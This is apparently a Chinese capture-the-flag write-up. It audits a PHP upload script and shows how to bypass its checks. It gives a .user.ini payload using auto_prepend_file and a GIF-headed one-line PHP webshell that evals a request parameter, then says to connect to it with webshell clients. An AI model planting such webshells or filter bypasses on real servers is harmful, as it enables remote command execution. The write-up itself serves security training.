代码审计
题目提供了源码,看到一个index.php文件,那就代码审计吧!
$userdir = "uploads/" . md5($_SERVER["REMOTE_ADDR"]);
if (!file_exists($userdir)) {
mkdir($userdir, 0777, true);
}
file_put_contents($userdir . "/index.php", "");
if (isset($_POST["upload"])) {
$tmp_name = $_FILES["fileUpload"]["tmp_name"];
$name = $_FILES["fileUpload"]["name"];
if (!$tmp_name) {
die("filesize too big!");
}
if (!$name) {
die("filename cannot be empty!");
}
$extension = substr($name, strrpos($name, ".") + 1);
if (preg_match("/ph|htacess/i", $extension)) {
die("illegal suffix!");
}
if (mb_strpos(file_get_contents($tmp_name), "<?") !== FALSE) {
die("<? in contents!");
}
$image_type = exif_imagetype($tmp_name);
if (!$image_type) {
die("exif_imagetype:not image!");
}
$upload_file_path = $userdir . "/" . $name;
move_uploaded_file($tmp_name, $upload_file_path);
echo "Your dir " . $userdir. ' <br>';
echo 'Your files : <br>';
var_dump(scandir($userdir));
这段代码看起来是一个简单的文件上传脚本,用于将用户上传的文件保存到服务器上。
1. `$userdir = "uploads/" . md5($_SERVER["REMOTE_ADDR"]);`: 这一行代码创建了一个名为 `$userdir` 的变量,用于存储用户上传文件的目录路径。目录名基于用户的 IP 地址经过 MD5 哈希处理而来,这样可以确保每个用户都有一个唯一的目录。
2. `if (!file_exists($userdir)) { mkdir($userdir, 0777, true); }`: 这个条件语句检查目录 `$userdir` 是否存在。如果目录不存在,就使用 `mkdir` 函数创建它。`mkdir` 函数的第一个参数是要创建的目录路径,第二个参数是权限设置(这里设置为 0777,表示最高权限),第三个参数为 `true` 表示如果需要的话,也会创建中间缺失的目录。
3. `file_put_contents($userdir . "/index.php", "");`: 这一行代码将一个空字符串写入 `$userdir` 目录下的 "index.php" 文件中。这可能是为了确保目录存在或者创建一个空的 "index.php" 文件。
4. `if (isset($_POST["upload"])) {`: 这个条件语句检查是否有名为 "upload" 的 POST 参数被发送到服务器。如果存在,说明用户正在尝试上传文件。
5. `$tmp_name = $_FILES["fileUpload"]["tmp_name"];`: 这行代码将上传文件的临时文件名保存在 `$tmp_name` 变量中。
6. `$name = $_FILES["fileUpload"]["name"];`: 这行代码将上传文件的原始文件名保存在 `$name` 变量中。
7. `if (!$tmp_name) { die("filesize too big!"); }`: 这个条件语句检查 `$tmp_name` 是否为空,如果为空,表示上传的文件大小超过了服务器的限制,代码将输出 "filesize too big!" 并终止执行。
8. `if (!$name) { die("filename cannot be empty!"); }`: 这个条件语句检查 `$name` 是否为空,如果为空,表示上传的文件没有指定文件名,代码将输出 "filename cannot be empty!" 并终止执行。
9. `$extension = substr($name, strrpos($name, ".") + 1);`: 这行代码提取上传文件的扩展名并保存在 `$extension` 变量中。它使用 `strrpos` 函数找到文件名中最后一个点的位置,然后使用 `substr` 函数截取点后面的部分作为扩展名。
10. `if (preg_match("/ph|htacess/i", $extension)) { die("illegal suffix!"); }`: 这个条件语句使用正则表达式检查 `$extension` 是否包含 "ph" 或 "htacess",如果是,表示上传的文件扩展名不被允许,代码将输出 "illegal suffix!" 并终止执行。
11. `if (mb_strpos(file_get_contents($tmp_name), "<?") !== FALSE) { die("<? in contents!"); }`: 这个条件语句使用 `file_get_contents` 函数读取临时文件的内容,并使用 `mb_strpos` 函数检查是否包含 "<?" 字符串。如果存在 "<?",表示文件内容中包含 PHP 代码的开头,代码将输出 "<? in contents!" 并终止执行。
12. `$image_type = exif_imagetype($tmp_name);`: 这行代码使用 `exif_imagetype` 函数获取临时文件的图像类型。如果返回值为空,则表示上传的文件不是一个有效的图像文件。
13. `if (!$image_type) { die("exif_imagetype:not image!"); }`: 这个条件语句检查 `$image_type` 是否为空,如果为空,表示上传的文件不是一个有效的图像文件,代码将输出 "exif_imagetype:not image!" 并终止执行。
14. `$upload_file_path = $userdir . "/" . $name;`: 这行代码构建了上传文件的目标路径,将目录路径 `$userdir` 和文件名 `$name` 连接起来。
15. `move_uploaded_file($tmp_name, $upload_file_path);`: 这行代码将临时文件移动到目标路径,完成文件的上传。
16. `echo "Your dir " . $userdir. ' <br>';`: 这行代码输出上传文件的目录路径。
17. `echo 'Your files : <br>';`: 这行代码输出 "Your files :"。
18. `var_dump(scandir($userdir));`: 这行代码使用 `scandir` 函数列出目录 `$userdir` 中的文件和子目录,并将结果打印出来,以展示上传到该目录的文件列表。
本题考查的是使用.user.ini的一个配置文件将1.jpg包含进去
构造:
GIF89a
auto_prepend_file=1.jpg
所以这对文件内容进行检测, 限制文件大小
构造一句话木马文件1.jpg:
GIF89a?
<script language='php'>eval($_REQUEST['cmd']);</script>
上传时要先上传.user.ini配置文件,再上传马
上传成功
根据代码,在提供的目录下会自动创建一个index.php文件,根据提供的路径访问该路径下的index.php文件
访问成功,连蚁剑或者菜刀